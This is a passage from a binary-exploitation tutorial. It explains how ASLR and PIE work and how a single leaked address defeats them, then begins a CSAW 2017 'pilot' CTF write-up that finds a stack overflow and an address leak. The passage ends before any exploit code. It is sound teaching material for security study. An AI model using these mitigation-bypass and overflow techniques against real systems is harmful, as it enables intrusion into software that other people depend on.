This time we can see that the address is 0x7ffcdc7caf68, so it has changed. Also one quick note, when you run a binary straight up in gdb, it can disable aslr in certain memory regions. The reason why aslr works here is I spawned the process, then attached it using pwntools.

Now know the addresses of various things in memory regions like the heap, stack, and libc (libc is where standard functions like fgets and puts live) can be extremely helpful if not necessary while attacking some targets. So what is the bypass to this mitigation?

The bypass is we leak an address from a memory region that we want to know what it's address space is. For this it might help to take a look at the memory mappings of a process with vmmap:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x00000000023b9000 0x00000000023da000 0x0000000000000000 rw- [heap]
0x00007ff338df3000 0x00007ff338e18000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff338e18000 0x00007ff338f8b000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff338f8b000 0x00007ff338fd4000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff338fd4000 0x00007ff338fd7000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff338fd7000 0x00007ff338fda000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff338fda000 0x00007ff338fe0000 0x0000000000000000 rw-
0x00007ff338ff6000 0x00007ff338ff7000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff338ff7000 0x00007ff339018000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff339018000 0x00007ff339020000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff339020000 0x00007ff339021000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff339021000 0x00007ff339022000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff339022000 0x00007ff339023000 0x0000000000000000 rw-
0x00007ffcdc7ab000 0x00007ffcdc7cc000 0x0000000000000000 rw- [stack]
0x00007ffcdc7d3000 0x00007ffcdc7d6000 0x0000000000000000 r-- [vvar]
0x00007ffcdc7d6000 0x00007ffcdc7d7000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

So here we can see various memory regions such as the heap, the stack, libc, and more. Thing is while the addresses in a memory space will change, the offset between the addresses themselves will not change. So if we leak a single address from a memory region that we know what is, we can just add the offset to whatever address we want to know. We can find this offset in gdb, since the offsets between two different memory addresses in the same memory region don't change. There are lots of different ways we can get an infoleak that you will see throughout this project. Also if we get an infoleak for let's say the libc region of memory, that is only good for the libc region of memory. We can't use that libc infoleak to figure out the address space for things like the heap or the stack (or vice versa).

pie

Position Independent Executable (pie) is another binary mitigation extremely similar to aslr. It is basically aslr but for the actual binary's code / memory regions. For instance, let's take a look at a binary that is compiled without pie:

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000401132 <+0>:    push   rbp
   0x0000000000401133 <+1>:    mov    rbp,rsp
   0x0000000000401136 <+4>:    sub    rsp,0x20
   0x000000000040113a <+8>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000401143 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401147 <+21>:    xor    eax,eax
   0x0000000000401149 <+23>:    mov    rdx,QWORD PTR [rip+0x2ef0]        # 0x404040 <stdin@@GLIBC_2.2.5>
   0x0000000000401150 <+30>:    lea    rax,[rbp-0x12]
   0x0000000000401154 <+34>:    mov    esi,0x9
   0x0000000000401159 <+39>:    mov    rdi,rax
   0x000000000040115c <+42>:    call   0x401040 <fgets@plt>
=> 0x0000000000401161 <+47>:    mov    DWORD PTR [rbp-0x18],0x5
   0x0000000000401168 <+54>:    nop
   0x0000000000401169 <+55>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040116d <+59>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000401176 <+68>:    je     0x40117d <main+75>
   0x0000000000401178 <+70>:    call   0x401030 <__stack_chk_fail@plt>
   0x000000000040117d <+75>:    leave  
   0x000000000040117e <+76>:    ret    
End of assembler dump.

We can see here that all of the instruction addresses are fixed. The address 0x401132 will always point to the first instruction of the main function. We can even set a break point for it, and view it as an instruction:

gef➤  b *0x401132
Breakpoint 2 at 0x401132
gef➤  r
Starting program: /tmp/try

Breakpoint 2, 0x0000000000401132 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0000000000401132  →  <main+0> push rbp
$rbx   : 0x0               
$rcx   : 0x0000000000401180  →  <__libc_csu_init+0> push r15
$rdx   : 0x00007fffffffe0e8  →  0x00007fffffffe3ff  →  "SHELL=/bin/bash"
$rsp   : 0x00007fffffffdff8  →  0x00007ffff7df1b6b  →  0x480002084ee8c789
$rbp   : 0x0000000000401180  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007fffffffe0d8  →  0x00007fffffffe3f6  →  "/tmp/try"
$rdi   : 0x1               
$rip   : 0x0000000000401132  →  <main+0> push rbp
$r8    : 0x00007ffff7fb1a40  →  0x0000000000000000
$r9    : 0x00007ffff7fb1a40  →  0x0000000000000000
$r10   : 0x7               
$r11   : 0x2               
$r12   : 0x0000000000401050  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe0d0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdff8│+0x0000: 0x00007ffff7df1b6b  →  0x480002084ee8c789     ← $rsp
0x00007fffffffe000│+0x0008: 0x0000000000000000
0x00007fffffffe008│+0x0010: 0x00007fffffffe0d8  →  0x00007fffffffe3f6  →  "/tmp/try"
0x00007fffffffe010│+0x0018: 0x0000000100040000
0x00007fffffffe018│+0x0020: 0x0000000000401132  →  <main+0> push rbp
0x00007fffffffe020│+0x0028: 0x0000000000000000
0x00007fffffffe028│+0x0030: 0x6f71579249248831
0x00007fffffffe030│+0x0038: 0x0000000000401050  →  <_start+0> xor ebp, ebp
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401121 <__do_global_dtors_aux+33> data16 nop WORD PTR cs:[rax+rax*1+0x0]
     0x40112c <__do_global_dtors_aux+44> nop    DWORD PTR [rax+0x0]
     0x401130 <frame_dummy+0>  jmp    0x4010c0 <register_tm_clones>
 →   0x401132 <main+0>         push   rbp
     0x401133 <main+1>         mov    rbp, rsp
     0x401136 <main+4>         sub    rsp, 0x20
     0x40113a <main+8>         mov    rax, QWORD PTR fs:0x28
     0x401143 <main+17>        mov    QWORD PTR [rbp-0x8], rax
     0x401147 <main+21>        xor    eax, eax
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "try", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401132 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  x/i 0x401132
=> 0x401132 <main>:    push   rbp

With pie, everything in the "binary's" memory regions is compiled to have an offset versus a fixed address. Each time the binary is run, the binary generates a random number known as a base. Then the address of everything becomes the base plus the offset. For this to make more since let's first look at the memory mapping:

Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

When I say "binary's" memory regions I mean these regions specifically:

0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try

Now let's see what the main function looks like when we compile it with pie:

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000001145 <+0>:    push   rbp
   0x0000000000001146 <+1>:    mov    rbp,rsp
   0x0000000000001149 <+4>:    sub    rsp,0x20
   0x000000000000114d <+8>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000001156 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000000115a <+21>:    xor    eax,eax
   0x000000000000115c <+23>:    mov    rdx,QWORD PTR [rip+0x2ead]        # 0x4010 <stdin@@GLIBC_2.2.5>
   0x0000000000001163 <+30>:    lea    rax,[rbp-0x12]
   0x0000000000001167 <+34>:    mov    esi,0x9
   0x000000000000116c <+39>:    mov    rdi,rax
   0x000000000000116f <+42>:    call   0x1040 <fgets@plt>
   0x0000000000001174 <+47>:    mov    DWORD PTR [rbp-0x18],0x5
   0x000000000000117b <+54>:    nop
   0x000000000000117c <+55>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001180 <+59>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000001189 <+68>:    je     0x1190 <main+75>
   0x000000000000118b <+70>:    call   0x1030 <__stack_chk_fail@plt>
   0x0000000000001190 <+75>:    leave  
   0x0000000000001191 <+76>:    ret    
End of assembler dump.

As you can see, all of the instructions are now addressed to an offset versus a fixed address. Every time that the binary runs each of those instructions will have a different address. Let's see this in action.

Run 0:

gef➤  vmmap
Start              End                Offset             Perm Path
0x000055ce0fb38000 0x000055ce0fb39000 0x0000000000000000 r-- /tmp/try
0x000055ce0fb39000 0x000055ce0fb3a000 0x0000000000001000 r-x /tmp/try
0x000055ce0fb3a000 0x000055ce0fb3b000 0x0000000000002000 r-- /tmp/try
0x000055ce0fb3b000 0x000055ce0fb3c000 0x0000000000002000 r-- /tmp/try
0x000055ce0fb3c000 0x000055ce0fb3d000 0x0000000000003000 rw- /tmp/try
0x000055ce0fb5a000 0x000055ce0fb7b000 0x0000000000000000 rw- [heap]
0x00007fb90e941000 0x00007fb90e966000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007fb90e966000 0x00007fb90ead9000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007fb90ead9000 0x00007fb90eb22000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007fb90eb22000 0x00007fb90eb25000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007fb90eb25000 0x00007fb90eb28000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007fb90eb28000 0x00007fb90eb2e000 0x0000000000000000 rw-
0x00007fb90eb44000 0x00007fb90eb45000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007fb90eb45000 0x00007fb90eb66000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007fb90eb66000 0x00007fb90eb6e000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007fb90eb6e000 0x00007fb90eb6f000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007fb90eb6f000 0x00007fb90eb70000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007fb90eb70000 0x00007fb90eb71000 0x0000000000000000 rw-
0x00007fff45acc000 0x00007fff45aed000 0x0000000000000000 rw- [stack]
0x00007fff45b19000 0x00007fff45b1c000 0x0000000000000000 r-- [vvar]
0x00007fff45b1c000 0x00007fff45b1d000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

Run 1:

gef➤  vmmap
Start              End                Offset             Perm Path
0x000055c5ba9e8000 0x000055c5ba9e9000 0x0000000000000000 r-- /tmp/try
0x000055c5ba9e9000 0x000055c5ba9ea000 0x0000000000001000 r-x /tmp/try
0x000055c5ba9ea000 0x000055c5ba9eb000 0x0000000000002000 r-- /tmp/try
0x000055c5ba9eb000 0x000055c5ba9ec000 0x0000000000002000 r-- /tmp/try
0x000055c5ba9ec000 0x000055c5ba9ed000 0x0000000000003000 rw- /tmp/try
0x000055c5bc62a000 0x000055c5bc64b000 0x0000000000000000 rw- [heap]
0x00007ff808662000 0x00007ff808687000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff808687000 0x00007ff8087fa000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff8087fa000 0x00007ff808843000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff808843000 0x00007ff808846000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff808846000 0x00007ff808849000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ff808849000 0x00007ff80884f000 0x0000000000000000 rw-
0x00007ff808865000 0x00007ff808866000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff808866000 0x00007ff808887000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff808887000 0x00007ff80888f000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff80888f000 0x00007ff808890000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff808890000 0x00007ff808891000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ff808891000 0x00007ff808892000 0x0000000000000000 rw-
0x00007fff2ad6a000 0x00007fff2ad8b000 0x0000000000000000 rw- [stack]
0x00007fff2adc6000 0x00007fff2adc9000 0x0000000000000000 r-- [vvar]
0x00007fff2adc9000 0x00007fff2adca000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

As we can see, pie has changed the memory addresses for the binary's memory spaces.

Also one thing, pie can make it a bit annoying to set breakpoints. Luckily gef has a cool feature to help with this.

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000001145 <+0>:    push   rbp
   0x0000000000001146 <+1>:    mov    rbp,rsp
   0x0000000000001149 <+4>:    sub    rsp,0x20
   0x000000000000114d <+8>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000001156 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000000115a <+21>:    xor    eax,eax
   0x000000000000115c <+23>:    mov    rdx,QWORD PTR [rip+0x2ead]        # 0x4010 <stdin@@GLIBC_2.2.5>
   0x0000000000001163 <+30>:    lea    rax,[rbp-0x12]
   0x0000000000001167 <+34>:    mov    esi,0x9
   0x000000000000116c <+39>:    mov    rdi,rax
   0x000000000000116f <+42>:    call   0x1040 <fgets@plt>
   0x0000000000001174 <+47>:    mov    DWORD PTR [rbp-0x18],0x5
   0x000000000000117b <+54>:    nop
   0x000000000000117c <+55>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001180 <+59>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000001189 <+68>:    je     0x1190 <main+75>
   0x000000000000118b <+70>:    call   0x1030 <__stack_chk_fail@plt>
   0x0000000000001190 <+75>:    leave  
   0x0000000000001191 <+76>:    ret    
End of assembler dump.

Let's say we wanted to break at 0x116f. We can't set a breakpoint for that offset directly. However we can still set a breakpoint for it:

gef➤  pie b *0x116f
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)

Breakpoint 1, 0x000055555555516f in main ()
[+] base address 0x555555554000
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdfde  →  0x7fffffffe0d00000
$rbx   : 0x0               
$rcx   : 0x00005555555551a0  →  <__libc_csu_init+0> push r15
$rdx   : 0x00007ffff7fafa00  →  0x00000000fbad2088
$rsp   : 0x00007fffffffdfd0  →  0x00005555555551a0  →  <__libc_csu_init+0> push r15
$rbp   : 0x00007fffffffdff0  →  0x00005555555551a0  →  <__libc_csu_init+0> push r15
$rsi   : 0x9               
$rdi   : 0x00007fffffffdfde  →  0x7fffffffe0d00000
$rip   : 0x000055555555516f  →  <main+42> call 0x555555555040 <fgets@plt>
$r8    : 0x00007ffff7fb1a40  →  0x0000000000000000
$r9    : 0x00007ffff7fb1a40  →  0x0000000000000000
$r10   : 0x7               
$r11   : 0x2               
$r12   : 0x0000555555555060  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe0d0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdfd0│+0x0000: 0x00005555555551a0  →  <__libc_csu_init+0> push r15 ← $rsp
0x00007fffffffdfd8│+0x0008: 0x0000555555555060  →  <_start+0> xor ebp, ebp
0x00007fffffffdfe0│+0x0010: 0x00007fffffffe0d0  →  0x0000000000000001
0x00007fffffffdfe8│+0x0018: 0xdb3c67cc21531d00
0x00007fffffffdff0│+0x0020: 0x00005555555551a0  →  <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffdff8│+0x0028: 0x00007ffff7df1b6b  →  <__libc_start_main+235> mov edi, eax
0x00007fffffffe000│+0x0030: 0x0000000000000000
0x00007fffffffe008│+0x0038: 0x00007fffffffe0d8  →  0x00007fffffffe3f9  →  "/tmp/try"
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555555163 <main+30>        lea    rax, [rbp-0x12]
   0x555555555167 <main+34>        mov    esi, 0x9
   0x55555555516c <main+39>        mov    rdi, rax
 → 0x55555555516f <main+42>        call   0x555555555040 <fgets@plt>
   ↳  0x555555555040 <fgets@plt+0>    jmp    QWORD PTR [rip+0x2f8a]        # 0x555555557fd0 <fgets@got.plt>
      0x555555555046 <fgets@plt+6>    push   0x1
      0x55555555504b <fgets@plt+11>   jmp    0x555555555020
      0x555555555050 <__cxa_finalize@plt+0> jmp    QWORD PTR [rip+0x2fa2]        # 0x555555557ff8
      0x555555555056 <__cxa_finalize@plt+6> xchg   ax, ax
      0x555555555058                  add    BYTE PTR [rax], al
─────────────────────────────────────────────────────── arguments (guessed) ────
fgets@plt (
   $rdi = 0x00007fffffffdfde → 0x7fffffffe0d00000,
   $rsi = 0x0000000000000009,
   $rdx = 0x00007ffff7fafa00 → 0x00000000fbad2088
)
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "try", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55555555516f → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  

As you see using the pie b and pie run commands, we were able to set a breakpoint for an offset.

So as to how to defeat pie and know the address of this memory region, you defeat it the same way you would defeat aslr. You leak a single address from the memory region. Then since the offsets stay the same every time, you can figure out the address of anything in that memory region.

Csaw 2017 pilot

Let's take a look at the binary:

$	file pilot 
pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
$	./pilot 
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffcfd6d92c0
[*]Command:15935728

So we can see that we are dealing with a 64 bit binary. When we run it, we see that it prints out a lot of text, including what looks like a memory address from the stack memory region. It then prompts us for input. Looking through the functions in Ghidra, we don't see a function labeled main. However we can find function FUN_004009a6 which contains a lot of strings that we saw the program and output, and it looks like what we would expect to see:


undefined8 FUN_004009a6(void)

{
  basic_ostream *this;
  basic_ostream<char,std--char_traits<char>> *this_00;
  ssize_t sVar1;
  undefined8 uVar2;
  undefined input [32];
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Welcome DropShip Pilot...");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]I am your assitant A.I....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,"[*]I will be guiding you through the tutorial....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,
                    "[*]As a first step, lets learn how to land at the designated location....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,
                                        
                    "[*]Your mission is to lead the dropship to the right location and executesequence of instructions to save Marines & Medics..."
                   );
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Good Luck Pilot!....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Location:");
  this_00 = (basic_ostream<char,std--char_traits<char>> *)
            operator<<((basic_ostream<char,std--char_traits<char>> *)this,input);
  operator<<(this_00,endl<char,std--char_traits<char>>);
  operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Command:");
  sVar1 = read(0,input,0x40);
  if (sVar1 < 5) {
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]There are no commands....");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Mission Failed....");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    uVar2 = 0xffffffff;
  }
  else {
    uVar2 = 0;
  }
  return uVar2;
}

Looking through this code, we see that it prints a lot of text. However there are two important sections. The first is where it scans in the data:

  sVar1 = read(0,input,0x40);

We can see that it scans in 0x40 bytes worth of input into input. The char array input can only hold 32 bytes worth of input, so we have an overflow. Also we can see that the address printed is an infoleak (information about the program that is leak) for the start of our input in memory on the stack:

  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Location:");
  this_00 = (basic_ostream<char,std--char_traits<char>> *)
            operator<<((basic_ostream<char,std--char_traits<char>> *)this,input);
  operator<<(this_00,endl<char,std--char_traits<char>>);

Looking at the stack layout in Ghidra, there doesn't really look like there is anything between the start of our input and the return address. With our overflow we should be able to overwrite the return address and get code execution:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined FUN_004009a6()
             undefined         AL:1           <RETURN>
             undefined[32]     Stack[-0x28]   input                                   XREF[2]:     00400aa4(*), 
                                                                                                   00400acf(*)  
                             FUN_004009a6                                    XREF[4]:     entry:004008cd(*), 
                                                                                          entry:004008cd(*), 00400de0, 
                                                                                          00400e80(*)  
        004009a6 55              PUSH       RBP

Let's find the offset between the start of our input and the return address using gdb. We will set a breakpoint for right after the read call, and look at the memory there:

gef➤  b *0x400ae5
Breakpoint 1 at 0x400ae5
gef➤  r
Starting program: /Hackery/pod/modules/bof_shellcode/csaw17_pilot/pilot 
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7fffffffde80
[*]Command:15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x9               
$rbx   : 0x0               
$rcx   : 0x00007ffff776b081  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x40              
$rsp   : 0x00007fffffffde80  →  0x3832373533393531 ("15935728"?)
$rbp   : 0x00007fffffffdea0  →  0x0000000000400b90  →   push r15
$rsi   : 0x00007fffffffde80  →  0x3832373533393531 ("15935728"?)
$rdi   : 0x0               
$rip   : 0x0000000000400ae5  →   cmp rax, 0x4
$r8    : 0x0               
$r9    : 0x00007ffff7fd7d00  →  0x00007ffff7fd7d00  →  [loop detected]
$r10   : 0x6               
$r11   : 0x246             
$r12   : 0x00000000004008b0  →   xor ebp, ebp
$r13   : 0x00007fffffffdf80  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde80│+0x0000: 0x3832373533393531	 ← $rsp, $rsi
0x00007fffffffde88│+0x0008: 0x000000000040080a  →  <setvbuf@plt+10> add cl, ch
0x00007fffffffde90│+0x0010: 0x00007fffffffdf80  →  0x0000000000000001
0x00007fffffffde98│+0x0018: 0x0000000000000000
0x00007fffffffdea0│+0x0020: 0x0000000000400b90  →   push r15	 ← $rbp
0x00007fffffffdea8│+0x0028: 0x00007ffff767cb97  →  <__libc_start_main+231> mov edi, eax
0x00007fffffffdeb0│+0x0030: 0x0000000000000000
0x00007fffffffdeb8│+0x0038: 0x00007fffffffdf88  →  0x00007fffffffe2cc  →  "/Hackery/pod/modules/bof_shellcode/csaw17_pilot/pi[...]"
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400ad8                  mov    rsi, rax
     0x400adb                  mov    edi, 0x0
     0x400ae0                  call   0x400820 <read@plt>
 →   0x400ae5                  cmp    rax, 0x4
     0x400ae9                  setle  al
     0x400aec                  test   al, al
     0x400aee                  je     0x400b2f
     0x400af0                  mov    esi, 0x400d90
     0x400af5                  mov    edi, 0x6020a0
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pilot", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400ae5 → cmp rax, 0x4
[#1] 0x7ffff767cb97 → __libc_start_main(main=0x4009a6, argc=0x1, argv=0x7fffffffdf88, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdf78)
[#2] 0x4008d9 → hlt 
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x0000000000400ae5 in ?? ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
  0x7fffffffde80 - 0x7fffffffde88  →   "15935728[...]" 
gef➤  i f
Stack level 0, frame at 0x7fffffffdeb0:
 rip = 0x400ae5; saved rip = 0x7ffff767cb97
 called by frame at 0x7fffffffdf70
 Arglist at 0x7fffffffde78, args: 
 Locals at 0x7fffffffde78, Previous frame's sp is 0x7fffffffdeb0
 Saved registers:
  rbp at 0x7fffffffdea0, rip at 0x7fffffffdea8

